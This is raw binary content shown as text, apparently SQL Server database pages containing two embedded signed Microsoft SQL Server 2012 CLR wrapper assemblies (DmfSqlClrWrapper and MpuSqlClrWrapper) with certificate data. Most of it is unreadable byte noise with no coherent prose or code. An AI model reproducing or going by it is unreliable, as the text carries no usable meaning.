G@keep_cdc0-QXS@qualified_name0-Q$$A@artid0-Q[@pub_identity_range0-QS@identity_range0-UN$$A@pubid0--$$A@pubid0--$$A@subid0--$$O@replicastate!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|cj
M
		0	?
b

+6QjN`giXC7
H	L
PTX\`-0&)7q6-=r0-=r?@geog0-USPECIFIC_CATALOG0-SSPECIFIC_SCHEMA0-OSPECIFIC_NAME0-SROUTINE_CATALOG0-QROUTINE_SCHEMA0-MROUTINE_NAME0-((MROUTINE_TYPE0-QMODULE_CATALOG0-	OMODULE_SCHEMA0-
KMODULE_NAME0-KUDT_CATALOG0-IUDT_SCHEMA0-
EUDT_NAME0-GDATA_TYPE0-88
eCHARACTER_MAXIMUM_LENGTH0-88
aCHARACTER_OCTET_LENGTH0-WCOLLATION_CATALOG0-UCOLLATION_SCHEMA0-QCOLLATION_NAME0-_CHARACTER_SET_CATALOG0-]CHARACTER_SET_SCHEMA0-vM@publication0-v88
Y@old_originator_id0-v88
Y@new_originator_id0-~I@publisher0-~O@publisher_db0-~M@publication0-~K@subscriber0-~Q@subscriber_db0-~00C@action0- @E@genlist0- 88
G@gencount0-/$$A@pubid0-$$S@parent_rowguid0-I@commongen0-88
U@parent_nickname2-u;Vkx%
R

r
	s	&	5`<(8H=v<MZ@	!L!This program cannot be run in DOS mode.

$PELP!>3 @@ @2K@=`@2  H.textD  `.rsrc@@@.reloc`@B 3H T	P <R'l 3-ڼ-|f.j"L.״^o.F}܈iAz3՗9O
39}U1&U.0{(.2 !w#Ik_&(
*(
*rp*BSJBv2.0.50727l#~t#Strings 0#USP#GUID`#BlobW	3

+D_x
!>]vO8K3KnVV+V+V+V+VV1VCVgVVVVVV
V&V9VLVbVwVVVVVVVVV5VRVk 
  !)19AIQYaiqy
	.38=BK t$(-,0`4`8g<r@DHL.P{TX\`	d	h3lptx|...#.+.3.;.C..Kd.Sj.[.c.k.{....V~{<Module>Microsoft.SqlServer.DmfSqlClrWrapper.dllPolicyEvaluationWrapperMicrosoft.SqlServer.Management.DmfAssemblyVersionInfomscorlibSystemObjectSystem.DataSystem.Data.SqlTypesSqlXmlEvaluateAutomatedPolicy.ctorVersionStringMajorVersionMinorVersionBuildVersionSPLevelProductVersionStringProductNameStringSqlEngineUsageMetricsRoleGuidStringProductNameBrandingStringLongProductNameBrandingStringProductNameShortcutBrandingStringVersionLocationStringProductVersionLocationStringVersionHelpKeywordPrefixVersionHelpSettingsTokenSetupSupportFolderProductLicenseFileProductUpdateCategorySqlProductFamilyCodeProductDiscoveryIdSqlInstanceIDPrefixAsInstanceIDPrefixRsInstanceIDPrefixMaxMaintenanceVersionevalTimeBombValuecurrentReleaseTimeBombValueWerEventNameSetupMsiWerEventNameSetupConfigASUsageMetricsRoleGuidStringVersionBIDSHelpNamespaceVisualStudioShellVersionget_VersionHelpNamespaceVersionHelpNamespacepolicyeventDatahistoryIdSystem.Runtime.InteropServicesComVisibleAttributeSystem.ReflectionAssemblyVersionAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeAssemblyFileVersionAttributeAssemblyInformationalVersionAttributeAssemblyKeyFileAttributeAssemblyDelaySignAttributeAssemblyTrademarkAttributeAssemblyTitleAttributeAssemblyDescriptionAttributeAssemblyConfigurationAttributeAssemblyCultureAttributeSystem.ResourcesNeutralResourcesLanguageAttributeAssemblyKeyNameAttributeSystem.DiagnosticsDebuggableAttributeDebuggingModesSystem.Runtime.CompilerServicesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeMicrosoft.SqlServer.DmfSqlClrWrapperMicrosoft.SqlServer.DmfPolicyEvaluationHelper-ms-help://MS.SQLCC.v11"HQ(Mg^Zzcz\V4	
 11.0.0.011.0(Microsoft SQL Server{0xbd7f7c0d, 0x7c36, 0x4721, {0xaf, 0xa8, 0xb, 0xa7, 0x0, 0xe2, 0x6d, 0x9e}}SQL Server 20122Microsoft SQL Server 2012110
sql112SQLServerBooksOnline.11.0SQLServer2012$SQLServer2012(SP1)H7fe4630a-0330-4b01-a5e6-a77c7ad34eb0L{7f121c35-f095-47aa-bc04-d214bc04727a}SQL2011MSSQL11MSAS11MSRS11	SQL110MSISQL110Exception{0x2414bc1b, 0x1572, 0x4cd9, {0x9c, 0xa5, 0x65, 0x16, 0x6d, 0x8d, 0xef, 0x3d}}*ms-help://MS.VSCC.v9010.0   Q $$RSA1''6n_1:fl/y2}/R4H<=\]Ǽ(k,Q\$+Au2IRmRo{l؂O1
ˢ#V{-Pb왹J|};(]̀̑Microsoft SQL Server)$Microsoft Corp. All rights reserved.Microsoft Corporation0+11.0.3000.0 ((SQL11_PCU_Main).121019-1322 )11.0.3000.050e:\sql11_main_t\\sql\Common\SNK\SQL2003SNKEY.snkMHMicrosoft SQL Server is a registered trademark of Microsoft Corporation.
en-USTWrapNonExceptionThrowsPA\2\RSDS(6q
MT27Microsoft.SqlServer.DmfSqlClrWrapper.pdb3.3  3_CorDllMainmscoree.dll% @0HX@4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfo000004b0LCompanyNameMicrosoft Corporation,FileDescription x,FileVersion11.0.3000.0 ((SQL11_PCU_Main).121019-1322 )t)InternalNameMicrosoft.SqlServer.DmfSqlClrWrapper.dllp%LegalCopyrightMicrosoft Corp. All rights reserved.ILegalTrademarksMicrosoft SQL Server is a registered trademark of Microsoft Corporation.|)OriginalFilenameMicrosoft.SqlServer.DmfSqlClrWrapper.dllLProductNameMicrosoft SQL Server<ProductVersion11.0.3000.0<	Assembly Version11.0.0.00@3=0=	*H
=0=10	+0L
+7>0<0
+70	0!0	+HPϓ$\gjY#&003'80
	*H
0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0
120904214209Z
130304214209Z010	UUS10U
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(9HB7v<Washington10URedmond10U
Microsoft Corporation1
0UMOPR10UMicrosoft Corporation0"0
	*H
0
Il"e;abt)qX^W
ibn6N"ya%X,12>tW6SAiimVn&Msdqa!hX[I50Szk+!gtxa|*gٺc<N>}~H=uc )9AT8Td@7
"0# kYୟ`L
bZxvlL8G
0	0U%0
+0UQJ?óe,0U#0ҴX7.3L
0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicCodSigPCA_08-31-2010.crt0
	*H
*&zbx[ħxS(B?8d5HzOGڇLږdρ3x|mqaNds?{'4R?GCpSK*w{nF(1Ji]3<GEʋO	&n_ډZ^_|FGX+FQb_i\qV ,:Nh~;yB9I^pBułUUa00
aB0
	*H
0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0
120109222558Z
130409222558Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:F528-3777-8A761%0#UMicrosoft Time-Stamp Service0"0
	*H
0
GMT\N=CK`g/MF/@PRCz-?HnfǑnyj#bj?CbGD@T~蠧,C#R25Vcw{0
3rJ%].ǰCHGz 8!=
m3%Zb%MS%aGƀE5S#6wʰݘ+9u5݁L!=v0Ųes)H'ҰGxtKSxچa&3GƠT+,u	00U/FhnO މNGH0U#0#4RFp
@v+50TUM0K0IGEChttp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl0X+L0J0H+0<http://www.microsoft.com/pki/certs/MicrosoftTimeStampPCA.crt0U%0
+0
	*H
s}.͍+|}^qhbCV\J-hHTu8Yu4T|u0S,6@
 :1ug4WXb E/]EȎ|rm'Kom5#g,%-]C(>vw%GmIJKF!5u6L߷+پ*j5?N$c .$_CDz\7ۤE:W}GfϜFVL<~UkQe00
a3&10
	*H
0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate Authority0
100831221932Z
200831222932Z0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0"0
	*H
0
rY\0d`  BvSl>ok:t/2BN#r5W
ʮ IhMKyKqG%ߝuϪsDׁ6\Eܯ=(hrsV5rv_wE8s[gRi/t)v/T0Yҍb_F1P'@0r)("7N=2=͡8\NV(*2KOc-bE=F[&SzJF7<8w\V<	_^0Z0U00UҴX7.3L
0U0	+70#	+71N&`;1o<-0	+7
SubCA0U#0`@V'%*
SY0PUI0G0ECA?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+08http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0
	*H
Y9>&Fo@2j/nI_uL;-C-1#|P!]=/LVpyIr>Ai˥ -PV-JҼp
VชKWB4<VS#*NNҏr*qmSg"\͢'ycVDQXVݛED/_ڮԂ2ni穢,+e&	e8zJVx\5_ݓI-4D]5[!Θ	OmN=|)HrlpWW}HZϣg
t6-/r7o<gR3edoFy,
'@F`Ge`@NBNvy
4	m1TGdP.|!zA'iÓɍ؛!
\𢮆hj-vk{$jG1/q=~bGΈɸr=@ji7P=00
ah40
	*H
0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate Authority0
070403125309Z
210403130309Z0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0"0
	*H
0
lH*|k.řQ#PN$ѧLt0 TIB\0&k{3$g,{N#SʍE	^аBlg(FS(F.'OUR,j0nY0~֗!~SmREHJGf')fJG	UxP0F#F-TxA1w̛;a
"KT 00U00U#4RFp
@v+50U0	+70U#0`@V'%*
SY䤡ca0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate AuthorityyJLsX.e0PUI0G0ECA?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+08http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0U%0
+0
	*H
\D6鴭wyQM.tq[mξ{.mbWN Pz@WXx;⾏
ȍHSOjՀ/*$"px.
pNk
r9g-Qb\? ?21Jv1=+rp=

a׸N5+^}B{Sr!0ʻxe\[
<fX-/QVpl9Lyzb))4wb=m,C}㤨t5Nq#&v<RqZFCMgȟBy!0fB^Ȟ"!C+H,2L&*H$_ZVޙ:o'tv!'Tj=vanGo2lQȌ#fd=-Y!嵰cxTA.Pxuْu"/2n[%!OɚIeo}in꧗1)[\M/?.Uk1(?0(;00y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA3'80	+0	*H
	1
+70
+710
+70#	*H
	1X^,{!YՇ*]0R
+71D0B SQL Server 2012http://www.microsoft.com/sql0
	*H
<1!"?nK!Pv@ _'r
yP{&r4T!𚒶8GW	e6:BJ&H^wCǪkЙy̺-Y08Ҵ)~olS2dDF̛X=d"c"yV8h*(m\&mf4!'&&ؒZ=н2U.?{7N	E8tzP%Ai<S%0	*H
	1000w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA
aB0	+]0	*H
	1	*H
0	*H
	1
121019214858Z0#	*H
	1<a4C2@8F20
	*H
UI?vyS	|S	!*?Ap[.cN'pl$pibw-:%Q_dݪxO>ҩZٛVSyMJ9efM/	eﺬ%֭8]ԣN>ԑws}0o<׊R$sx8cL3h;V2Ud|ν_gg|/彵%@LF8ByÇO:#0#
+71#0#	*H
#0#10
	`He0\
+7N0L0
+70	010
	`He 1`¬h@\LmIA
/U9
ۭ
?003y
%XE0
	*H
0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110
120707001432Z
131007001432Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR10UMicrosoft Corporation0"0
	*H
0
Qs/ΰ=X?,˹]::HlT~ܸ*
m;Y%N`t۴UO?;A|GKaI aD<o`N3QPٲ>Fvͫr9q'ٟCT!cnHzܝP䶃"G*D>8.0+Asp)&9L/*Z6>)P@2'c:Ӝr5Ex(kdtE@o\-,0(0U%0+
+7L0Ua??P.Cqc\BF0U#0HndPӂ77"mu0TUM0K0IGEChttp://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a+U0S0Q+0Ehttp://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0U00
	*H
Ck]dRoP(tqO'CMf`a;W~/=E3]v`yN^|#qzA"L̊WC֮3=f;vdbWC;GujHN2
Lf÷>LH92
x[+07wo\CR,Gasrc3aI_,5O}k>YڞְHa뀱F5i?r~#Cܶ	zե:ւMxK<J
DK݀/d=ͱJ&4p|
LL+E^s{B.>[
4RNq㑹sy
64,I`0 &d<BQp9JDr^B,,}ߍ^Dεblz0(@X^W/rWY4Jj`RA'MPW+`0z0b
a0
	*H
010	U!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<p:HH/.<US10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20110
110708205909Z
260708210909Z0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110"0
	*H
0
r.nM4X!B*kZP8I7k8™91BӉ
yd~`$lIh^ߛS
,ï٩+z	זY`fv2R&/PϳD].uhm:\F8dnd5xc-@
\yI)
w=+ZMV(zr:I^C{{>]O/Y;-3Xŷ>2ӳ=8~ҝ,NV!5%9ndS#_R!t%_('(8%9J6|#faj(I_%]!K>RĵW?$z[/#p]QFwἬ_UK9#ID|Erzr$߿FWۃMI0[ݰf{KI)(}gbx_/W\w((m(,@7OD	LԥC/tnx X,]`>O3ڰޞNFlֈ00	+70UHndPӂ77"mu0	+7
SubCA0U0U00U#0r-:1CN1#40ZUS0Q0OMKIhttp://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^+R0P0N+0Bhttp://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0U 00	+7.00?+3http://www.microsoft.com/pkiops/docs/primarycps.htm0@+042 Legal_policy_statement. 0
	*H
g򆥘Ty.tg"cB}ye_.,>rm?
;Gic"5]e}FPU|K<BRаk>.)=Եw9dD=xz#}t&F*Šhh.*?*kXIc	inZF+;н5n%'(M=2-[I9

ƭQEX82q'',: iYhnot@*(>?MfMo}Ev@*e]Rbc6'ͥ]cA[>wuaaA(e/\֡FY	KH)ű?Ew5Ңzz"HG#kKux7yKֳ#hui;0Lumc=ѝVNOW"x2!zA
?̤]WqVNHEBɛv[
HkymmjRs
zP1000~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20113y
%XE0
	`He0
*H
	10	*H
	1
+70
+710
+70/	*H
	1" ̼MqgʈyG(X![#SZ10R
+71D0B SQL Server 2012http://www.microsoft.com/sql0
	*H
=%1A7z
/
@MlIR-
WVk:ٗe`C4j;x<LδfgڷK/⹼><PO{1B*/RwU٤`m-WW4aIRʉED4?oQDHAXhF6MZ<z[w%Թs,n~"U-TG_);=GdlrR@Ez*)IZ20.
+710	*H
010
	`He0=*H
	,(0$
+Y
010
	`He kswPaYIRΐ%&w<=9ʮPd`}?20121019214858.826Z0010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:7D2E-3782-B0F71%0#UMicrosoft Time-Stamp Service0q0Y
a	*0
	*H
010	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100
100701213655Z
250701214655Z0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0
	*H
0

w: iktTե
|hK,_av>f+[S'1A	|a0Y0D`TCM8Bݓs0W&E
GͿ$`2X`FXG2tag_TϓLĦ]an(aF'$gr!KdPb]w=WuBM@Q>gfD~Knʱz*
1N5x</Dd 	xD]^O"M00	+70Uc:\1C{|F3hZmU0	+7
SubCA0U0U00U#0Vˏ\bh=[Κ0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0U 00	+7.00=+1http://www.microsoft.com/PKI/docs/CPS/default.htm0@+042 Legal_Policy_Statement. 0
	*H
Q
?q=!o1Wm0fjxǨ%kTW+QDS`v@@A\\^5$VKtBȯ7}Z?yJR8/ye٩kzoK0D$"<Y)p2J'U/3b_W@ΙfjbJ&9Jqc{!mÜ<}jxm8ؔƥ
B"8 %d~cY%z.9Wvqa˚Gͧ};q	]t"aڰPo1:eGxHr~akow˧	9؂r*T9[
Uzs;-3.)/T'!ȬN(ۖBAM*f0ӻt2Kc{/!YD<PqסUiW0M
]O8/X.
P5	'ճ~56_tI00
a0
	*H
0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
120109213540Z
130409214540Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:7D2E-3782-B0F71%0#UMicrosoft Time-Stamp Service0"0
	*H
0
MKn!(2QE;k+z!-@ˤQ
4q	?MYh.ս *Er oHV<Ei#Q	݂w띂_7M$qpAhu#;Lޘք]Ψ'봻3-n4b^GU>ؔCucv2	Ϛ~xۺ(vvn[3݃6̭EXlhVFs*	֗_6>00Ux/zߚ!~0U#0c:\1C{|F3hZmU0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0U00U%0
+0
	*H
zV$eB5-Y!Q=g	5:L?m"[;ϖSͬ4.9!<o)Mr#*
#/^ 4r:q9j
y,Fy
NZ>,٧YtŎdV/az~MNd/$2)C到G*)FtA^Ƞ'2l`l]3]Zʀv4iˮ\c
l{y0a0㡁010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:7D2E-3782-B0F71%0#UMicrosoft Time-Stamp Service%
0	+7IHKNŵ擇e00010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher NTS ESN:B027-C6F8-1D881+0)U"Microsoft Time Source Master Clock0
	*H
+0"20121019122814Z20121020122814Z0w0=
+Y
1/0-0
+0
00
-^06
+Y
1(0&0
+Y

0`
0 0
	*H
^HL,*m .:lݢm)rмYOPڗ_OJdkȎQxK5(M!EflTo6duGS3ݺ/K;[T歃RXHsu7A$RBw΅#,svz$BZ2	EGag˔*<`'*'UXnA^4̨ko@LV89%?lQоc<5W+N:
61000|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 2010
a0
	`He)0	*H
	1
*H
	0/	*H
	1" cvp0+u(]<-N0*H
	10007IHKNŵ擇e000~0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 2010
a0FNh׀g2fFo0
	*H
8-z޳R3G.d:N+-v||¹'Hk cüD]=	R +gGt$xзzN0})y~HkߢŧfPXgm"[㎠3l%(@kh18mtxf˱gXkBX_4\7)5MſTTȠPb-LIf_xțY6M.+Й{nRqUOHg{!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(;^I'Ev8FMZ@	!L!This program cannot be run in DOS mode.

$PELEP!*NI `@ x@HS`4=LH  H.textT) * `.rsrc`,@@.reloc2@B0IH&!	$P ٸK*6ŗU$'xp-wκnrͼ?#:9$"tcw
&ѢA]L9f
9;\17C	
ܡ
h
`Uנ(
*(
*(*.rp(*.rp(*.r%p(*.rOp(*2r{p(
*(
*~**F~~o
*0'(
~~o

(
*(
o
(
o
o 
s!
*0(s#

o$
~%
+O
((	s&
	(('
,o(
i3	",o)
Xi2~%
**8%]0brps*

o+
o,
rpo-
o.
+
o/

*o0
-
,o)
,o)
,o)
	*(*B
4L
KV
0(1
rp(((

~2
~2
(
	/	s3
z(
	/	s3
z(
	/	s3
z(
	/	s3
z ~2
(
	/	s3
z{
(4
s5
)~2
(6
,(&~2
(6
,(&*9)0(
((*0V(8
-(9
-(s:
z s;

 (&o<
(& j[s=
*(
*r#p*lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetPADPADP9c
Ĝnz|/FY*FileNotFoundExceptionIDProcess7ProcessCProcessInstanceL(ProcessorTimeCounterZ5File or Directory doesn't exists or path is not valid
ID ProcessProcessProcess({0})% Processor TimeBSJBv2.0.50727l	#~	x
#StringshT#US#GUID	#BlobW}	3;)>%	
ma

^?j?}???/Un	E	2		k			2	{			
	U
	





?.2	`2	





;kw




?3
?36c	h6
y		Vg+Vo+VO+Vy+V+Q/7&VC+VQV^VkVxV+V+V+V+V+V+V%+V;+VX+Vq+V+V+V+V+V+V+V+V+V(+V>VPVl+V+V+V+V+ 
     !5!O$!
,!3!;!P!!
  
  & B S { !T""#$ r$
 z$ ))- 2      0EZs}A
IY
aiqy	

	
!p

)
)
)
9
!IQQIZ+YQsYa
iq
iy-HQVr1
)	
9.=Po ,)0:4?8D<I@NDWHLP9TXl\l`sd~hlpt:x|)		?.[.C.#.3.;.C?.KZ.S.c.k.s.{..&..1.:CIcI@2`I+-13b
%_"g'o'y''_"'	


!!#%&'B)S+{F-0
>
<Module>Microsoft.SqlServer.MpuSqlClrWrapper.dllSRMicrosoft.SqlServer.Management.Shared.MpuSqlKeysMpuSqlClrWrapperPDH_FMT_COUNTERVALUEAssemblyVersionInfomscorlibSystemObjectValueType.ctorSystem.GlobalizationCultureInfoget_Cultureset_Cultureget_Processget_IDProcessget_ProcessorTimeCounterget_FileNotFoundExceptionProcessInstanceCultureProcessIDProcessProcessorTimeCounterFileNotFoundExceptionSystem.ResourcesResourceManagerresourceManager_cultureGetStringPDH_FMT_DOUBLEPdhOpenQueryPdhAddCounterPdhCollectQueryDataPdhGetFormattedCounterValuePdhRemoveCounterPdhCloseQuerySystem.TextStringBuilderGetVolumePathNameGetDiskFreeSpaceExGetPerfMonInstanceNameGetProcessIdSystem.DataSystem.Data.SqlTypesSqlInt32getProcessorUsageProcessorUsageSqlInt64GetVolumeFreeSpaceInKBCStatusdoubleValueVersionStringMajorVersionMinorVersionBuildVersionSPLevelProductVersionStringProductNameStringSqlEngineUsageMetricsRoleGuidStringProductNameBrandingStringLongProductNameBrandingStringProductNameShortcutBrandingStringVersionLocationStringProductVersionLocationStringVersionHelpKeywordPrefixVersionHelpSettingsTokenSetupSupportFolderProductLicenseFileProductUpdateCategorySqlProductFamilyCodeProductDiscoveryIdSqlInstanceIDPrefixAsInstanceIDPrefixRsInstanceIDPrefixMaxMaintenanceVersionevalTimeBombValuecurrentReleaseTimeBombValueWerEventNameSetupMsiWerEventNameSetupConfigASUsageMetricsRoleGuidStringVersionBIDSHelpNamespaceVisualStudioShellVersionget_VersionHelpNamespaceVersionHelpNamespacevalueinstanceNamekeyarg0szDataSourceSystem.Runtime.InteropServicesInAttributeMarshalAsAttributeUnmanagedTypedwUserDataphQueryOutAttributehQueryszFullCounterPathphCounterhCounterdwFormatlpdwTypepValuelpszFileNamelpszVolumePathNamecchBufferLengthlpDirectoryNamelpFreeBytesAvailablelpTotalNumberOfByteslpTotalNumberOfFreeBytesprocessIdfileNameComVisibleAttributeSystem.ReflectionAssemblyVersionAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeAssemblyFileVersionAttributeAssemblyInformationalVersionAttributeAssemblyKeyFileAttributeAssemblyDelaySignAttributeAssemblyTrademarkAttributeAssemblyTitleAttributeAssemblyDescriptionAttributeAssemblyConfigurationAttributeAssemblyCultureAttributeNeutralResourcesLanguageAttributeSystem.DiagnosticsPerformanceCounterPermissionAttributeSystem.Security.PermissionsSecurityActionAssemblyKeyNameAttributeDebuggableAttributeDebuggingModesSystem.Runtime.CompilerServicesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeMicrosoft.SqlServer.MpuSqlClrWrapperCompilerGeneratedAttributeget_CurrentCultureStringIFormatProviderFormat.cctorTypeRuntimeTypeHandleGetTypeFromHandleget_FullNameModuleget_ModuleAssemblyget_AssemblyDllImportAttributepdh.dllkernel32.dllPerformanceCounterCategoryGetInstanceNamesEmptyPerformanceCounterInstanceExistsget_RawValueIDisposableDisposeSystem.Data.SqlClientSqlConnectionSystem.Data.CommonDbConnectionOpenSqlCommandCreateCommandDbCommandset_CommandTextSqlDataReaderExecuteReaderDbDataReaderGetInt32Readget_InvariantCultureIntPtrZeroSystem.ComponentModelWin32ExceptionConvertToInt32op_InequalityMicrosoft.SqlServer.ServerSqlFunctionAttributeSystem.IOFile!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(<^IM	v8FExistsDirectoryExceptionToStringStructLayoutAttributeLayoutKindMicrosoft.SqlServer.Management.Shared.MpuSql.SR.resourcesProcessIDProcess)ProcessorTimeCounter+FileNotFoundExceptionProcessInstance/context connection=trueESELECT SERVERPROPERTY('ProcessId')\{0}\{1}-ms-help://MS.SQLCC.v11q7ۇŅG)5@z\V4 


ProcessIDProcessProcessInstance(ProcessorTimeCounter*FileNotFoundException
		




11.0.0.011.0(Microsoft SQL Server{0xbd7f7c0d, 0x7c36, 0x4721, {0xaf, 0xa8, 0xb, 0xa7, 0x0, 0xe2, 0x6d, 0x9e}}SQL Server 20122Microsoft SQL Server 2012110
sql112SQLServerBooksOnline.11.0SQLServer2012$SQLServer2012(SP1)H7fe4630a-0330-4b01-a5e6-a77c7ad34eb0L{7f121c35-f095-47aa-bc04-d214bc04727a}SQL2011MSSQL11MSAS11MSRS11	SQL110MSISQL110Exception{0x2414bc1b, 0x1572, 0x4cd9, {0x9c, 0xa5, 0x65, 0x16, 0x6d, 0x8d, 0xef, 0x3d}}*ms-help://MS.VSCC.v9010.0 )   q } $$RSA1''6n_1:fl/y2}/R4H<=\]Ǽ(k,Q\$+Au2IRmRo{l؂O1
ˢ#V{-Pb왹J|};( 
	       
	    
TUyMicrosoft.SqlServer.Server.DataAccessKind, System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
DataAccessTIsDeterministic 



 Microsoft SQL Server)$Microsoft Corp. All rights reserved.Microsoft Corporation0+11.0.3000.0 ((SQL11_PCU_Main).121019-1322 )11.0.3000.050e:\sql11_main_t\\sql\Common\SNK\SQL2003SNKEY.snkMHMicrosoft SQL Server is a registered trademark of Microsoft Corporation.
en-USTWrapNonExceptionThrows.System.Diagnostics.PerformanceCounterPermissionAttribute, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089TUnrestrictedEPAhHh*RSDS2IF~0iMicrosoft.SqlServer.MpuSqlClrWrapper.pdb I>I 0I_CorDllMainmscoree.dll% @0HX`4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfo000004b0LCompanyNameMicrosoft Corporation,FileDescription x,FileVersion11.0.3000.0 ((SQL11_PCU_Main).121019-1322 )t)InternalNameMicrosoft.SqlServer.MpuSqlClrWrapper.dllp%LegalCopyrightMicrosoft Corp. All rights reserved.ILegalTrademarksMicrosoft SQL Server is a registered trademark of Microsoft 